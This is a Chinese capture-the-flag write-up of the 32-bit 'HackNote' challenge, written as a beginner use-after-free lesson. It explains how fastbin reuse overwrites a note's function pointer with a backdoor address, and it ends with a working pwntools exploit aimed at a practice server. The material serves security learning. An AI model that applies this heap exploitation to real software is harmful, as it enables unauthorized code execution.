一道利用uaf的入门题

题目描述

32位
菜单

1
2
3
4
5
6
7
8
9
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

添加操作

申请八字节大小的结构体
notelist[]数组记录了每个chunk的指针
结构体的第一个元素是一个函数指针,调用puts打印内容
然后输入size
结构体的第二个元素是一个指针,指向申请的堆空间,存放content
read控制了输入的字节数,不存在堆溢出

删除操作

看到free后没有把指针置0
所以存在uaf漏洞

打印操作

调用结构体第一个元素指向的函数

同时存在后门

思路

先申请两个48字节大小的堆chunk0,chunk1(这里申请的大小稍微大点,不要在释放后落在fastbins[idx=0,size=0x10]内即可)

然后先后释放chunk0和chunk1,此时的fastbin

注意到第一行,由于fastbin单向链表先进后出,当我们再次申请note,大小为0x8时,按照程序会先后帮我们分配两个0x8大小的堆,则首先分配地址为0x804b050的chunk,再分配地址为0x804b008的chunk,后者作为存放我们输入的content的空间
0x804b008处原本存放着chunk0的指向puts的函数指针,由于free后没有把指针置0且可以看到我们一开始申请返回的指针仍然保存再notelist[]数组中,所以仍然可以通过print操作调用0x804b008处存放的函数指针

而这个地址在我们的操作后已经变成了由我们的输入控制的区域,所以这时把后门函数的地址写入后,再对idx为0的chunk执行打印操作,就会执行后门函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
context.log_level='debug'
r=remote('node3.buuoj.cn',29174)
#r = process('./hacknote')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)

def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))

def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))

printf(0)

r.interactive()